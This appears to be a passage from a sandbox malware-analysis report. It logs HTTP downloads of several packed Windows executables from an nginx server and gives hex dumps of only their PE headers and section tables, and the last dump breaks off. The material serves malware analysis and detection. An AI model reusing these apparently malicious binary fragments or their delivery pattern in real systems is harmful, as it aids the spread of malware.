Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:02:54 GMTContent-Type: application/octet-streamContent-Length: 1796096Last-Modified: Mon, 16 Dec 2024 14:47:26 GMTConnection: keep-aliveETag: "67603d7e-1b6800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 a1 67 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 62 75 73 6e 72 78 7a 00 d0 19 00 00 20 4f 00 00 c4 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 76 71 69 65 67 77 74 00 10 00 00 00 f0 68 00 00 04 00 00 00 42 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 69 00 00 22 00 00 00 46 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:03:03 GMTContent-Type: application/octet-streamContent-Length: 970752Last-Modified: Mon, 16 Dec 2024 14:45:24 GMTConnection: keep-aliveETag: "67603d04-ed000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f5 3c 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 13 1e 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 65 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 65 01 00 00 40 0d 00 00 66 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 5a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:03:10 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 16 Dec 2024 15:49:27 GMTConnection: keep-aliveETag: "67604c07-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 27 7e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 68 62 6d 79 75 74 77 00 00 2b 00 00 a0 00 00 00 e2 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 79 6b 68 7a 64 68 00 20 00 00 00 a0 2b 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:03:21 GMTContent-Type: application/octet-streamContent-Length: 4474880Last-Modified: Mon, 16 Dec 2024 14:19:30 GMTConnection: keep-aliveETag: "676036f2-444800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 10 c4 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 c4 00 00 04 00 00 63 38 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f7 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 f6 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 6e 00 00 10 00 00 00 40 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 b0 6e 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 6e 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 39 00 00 d0 6e 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 6e 6a 67 73 70 70 00 d0 1b 00 00 30 a8 00 00 ca 1b 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6f 71 66 67 63 68 67 00 10 00 00 00 00 c4 00 00 06 00 00 00 20 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 c4 00 00 22 00 00 00 26 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:03:34 GMTContent-Type: application/octet-streamContent-Length: 4550656Last-Modified: Mon, 16 Dec 2024 15:53:26 GMTConnection: keep-aliveETag: "67604cf6-457000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 a8 42 60 67 00 00 00 00 00 00 00 00 e0 00 2e 03 0b 01 02 2b 00 a6 02 00 00 6c 45 00 00 02 00 00 d0 13 00 00 00 10 00 00 00 c0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 73 ff 45 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 60 45 00 ac 11 00 00 00 a0 45 00 3f 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 45 00 ac 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 99 44 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 63 45 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 a4 02 00 00 10 00 00 00 a6 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 54 00 00 00 00 c0 02 00 00 02 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 ec cc 41 00 00 d0 02 00 00 ce 41 00 00 ac 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d 8c ac 00 00 00 a0 44 00 00 ae 00 00 00 7a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 00 02 00 00 00 50 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 ac 11 00 00 00 60 45 00 00 12 00 00 00 28 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 80 45 00 00 02 00 00 00 3a 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 90 45 00 00 02 00 00 00 3c 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 3f 16 00 00 00 a0 45 00 00 18 00 00 00 3e 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 19 00 00 00 c0 45 00 00 1a 00 00 00 56 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:03:41 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Sat, 14 Dec 2024 21:12:38 GMTConnection: keep-aliveETag: "675df4c6-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 e2 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 76 6d 78 6b 6f 62 00 80 19 00 00 f0 2e 00 00 7a 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 64 61 77 61 6c 6d 68 00 10 00 00 00 70 48 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 48 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:03:49 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 16 Dec 2024 15:49:29 GMTConnection: keep-aliveETag: "67604c09-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 27 7e 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 68 62 6d 79 75 74 77 00 00 2b 00 00 a0 00 00 00 e2 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 79 6b 68 7a 64 68 00 20 00 00 00 a0 2b 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 16:03:55 GMTContent-Type: application/octet-streamContent-Length: 1796096Last-Modified: Mon, 16 Dec 2024 14:47:26 GMTConnection: keep-aliveETag: "67603d7e-1b6800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 